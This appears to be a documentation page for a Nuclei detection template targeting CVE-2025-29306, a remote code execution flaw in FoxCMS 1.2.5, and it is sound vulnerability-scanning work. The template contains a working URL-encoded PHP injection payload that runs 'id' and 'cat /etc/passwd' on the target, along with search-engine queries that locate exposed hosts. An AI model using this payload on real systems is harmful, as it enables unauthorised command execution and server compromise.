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FoxCMS v.1.2.5 - Remote Code Execution

ID: CVE-2025-29306

Severity: critical

Author: ritikchaddha

Tags: cve,cve2025,rce,foxcms,unauth,oast

Description

Section titled “Description”

An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.

YAML Source

Section titled “YAML Source”
id: CVE-2025-29306


info:
  name: FoxCMS v.1.2.5 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.
  remediation: |
    Update to the latest version of FOXCMS if available. If no patch is available,implement WAF rules to block malicious requests to the /images/index.html endpoint with suspicious 'id' parameter values.
  reference:
    - https://github.com/verylazytech/CVE-2025-29306/blob/main/CVE-2025-29306.sh
    - https://medium.com/@verylazytech
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29306
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-29306
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    fofa-query: (body="foxcms-logo" || body="foxcms-container") && body="div"
    google-query: intitle:"FOXCMS" intext:"foxcms-logo"
    shodan-query: html:"foxcms-logo"
  tags: cve,cve2025,rce,foxcms,unauth,oast


http:
  - method: GET
    path:
      - "{{BaseURL}}/images/index.html?id=%24%7B%40print_r%28%40system%28%22{{command}}%22%29%29%7D"


    payloads:
      command:
        - "id"
        - "cat /etc/passwd"


    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+\\(\\w+\\) gid=[0-9]+\\(\\w+\\)"
          - "root:.*:0:0:"
        condition: or


      - type: word
        part: body
        words:
          - "foxcms"
        case-insensitive: true


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a2516eebc891c4bce8de0df6340fec85e4060039cdd832a945fc204766dd306f0221008ba7545a59e1750eaa3cc70f2e5daf7782abd1dd475736f23810f0b56d97500b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-29306.yaml"

View on Github